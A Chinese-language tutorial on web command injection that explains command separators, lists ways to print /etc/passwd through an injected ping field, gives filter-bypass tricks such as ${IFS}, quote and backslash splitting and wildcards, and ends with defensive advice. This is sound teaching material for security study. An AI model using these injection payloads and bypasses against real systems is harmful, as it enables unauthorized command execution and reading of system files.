命令执行漏洞
命令执行漏洞
1.命令执行漏洞概要
命令执行漏洞是指攻击者可以随意执行系统命令。它属于高危漏洞之一,也属于代码执行的范畴。命令执行漏洞不仅存在于B/S架构中,在C/S架构中也常常遇到
部分Web应用程序提供了一些命令执行的操作,例如,如果想测试http://www.test.com 是否可以正常连接,那么web应用程序底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,就很有可能形成系统命令执行漏洞,如:ping 127.0.0.1 | whoami
2.连接符
|、 ||、&、&&、;
3.输出方式
cat:输出文件内容,如127.0.0.1 | cat /etc/passwd
tac:倒序输出
head:输出前几行
tail:输出后几行
grep:输出包含某一字符的行,如,grep '' /etc/passwd或grep . /etc/passwd(实际上这个点为正则表达式匹配)
例:127.0.0.1 | grep 'proxy' /etc/passwd
awk:awk {print} /etc/passwd
sed:sed '' /etc/passwd(同grep)
diff:对比两个文件,并输出他们的区别,diff /etc/passwd /etc/hostname
例:小于号是左边文件的内容,大于号是右边文件内容
less:less /etc/passwd
more:more /etc/passwd
od:二进制输出,od /etc/passwd
加上-a可以解码
xxd:xxd /etc/passwd
base64:可以对一个文件进行base64编码再输出
例:
再将其解码即可看到文件内容
curl:curl file:///etc/passwd(curl属于第三方软件包,不是所有Linux发行版都有)
cp:cp /etc/passwd /dev/stdout
nl:按行号输出,nl /etc/passwd
sort:排序输出,sort /etc/passwd
uniq:uniq /etc/passwd
4.过滤绕过
空格过滤
①重定向符
cat</etc/passwd
cat<>/etc/passwd
②内部字段分隔符
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
③变量绕过(bash中才可用)
{cat,/etc/passwd}
f=$'\20/etc/passwd'&&cat$f 定义变量f,f就是空格/etc/passwd
替换为空
双写:cacatt /etc/passwd
关键字过滤
①反斜杠分割
c\at /etc/passwd
②空字符串分割
ca''t /etc/passwd
文件名过滤
如,检测输入是否存在passwd
通配符
cat /etc/pa*:输出/etc下所有pa开头的文件
例:
5.漏洞防范
①尽量不要使用命令执行函数
②在进入执行命令函数/方法之前,变量一定要做好过滤,对敏感字符转义
③ 在使用动态函数之前,确保使用的函数是指定的函数之一
④ 客户端提交的变量在进入执行命令函数前要做好过滤和检测
总结:对PHP语言来说,不能完全控制的危险函数最好不要使用
调用系统命令,本身就是非常危险的动作,开发过程中应尽量避免,实在无法
避免,应该进行严格过滤,白名单要比黑名单好点。尽量使用静态,例如需要
测试网络连通性,应内置一个ip地址,而不是让用户自行输入